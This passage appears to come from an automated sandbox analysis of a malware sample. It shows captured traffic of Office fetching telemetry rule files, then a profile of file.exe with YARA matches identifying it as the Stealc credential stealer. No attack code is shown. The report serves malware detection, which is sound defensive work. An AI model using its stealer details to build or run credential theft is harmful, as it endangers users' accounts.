2024-10-29 14:27:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:36 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142736Z-16849878b78zqkvcwgr6h55x9n000000063000000000bu52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:36 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:36 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142736Z-16849878b78nx5sne3fztmu6xc00000007g000000000nnrs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:36 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142736Z-15b8d89586f8nxpt6ys645x5v000000007t000000000bggn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:36 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:36 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142736Z-16849878b78qg9mlz11wgn0wcc000000063g00000000quq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:36 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:36 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:36 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142736Z-16849878b78qfbkc5yywmsbg0c000000067000000000msgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:36 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:38 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:38 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142738Z-16849878b78bcpfn2qf7sm6hsn000000087g00000000eqyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:39 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:38 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:39 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142738Z-16849878b78fkwcjkpn19c5dsn00000005hg00000000nnm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:39 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:39 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 4a74cd39-001e-0066-3b2c-26561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142739Z-r197bdfb6b48v72xb403uy6hns0000000780000000006503 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:39 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:40 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6dfdd6d0-d01e-00a1-15fd-2535b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142740Z-17c5cb586f6fqqst87nqkbsx1c00000004yg00000000cmhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:40 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:39 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142740Z-16849878b78bcpfn2qf7sm6hsn000000085g00000000kzuk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:40 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:40 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142740Z-17c5cb586f6vcw6vtg5eymp4u800000004pg00000000c5ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:40 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	10:27:10
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x170000
File size:	2'190'336 bytes
MD5 hash:	9340A3851C0AE73F202AB165714889A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2682684437.0000000000171000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2261862235.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:27:22
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
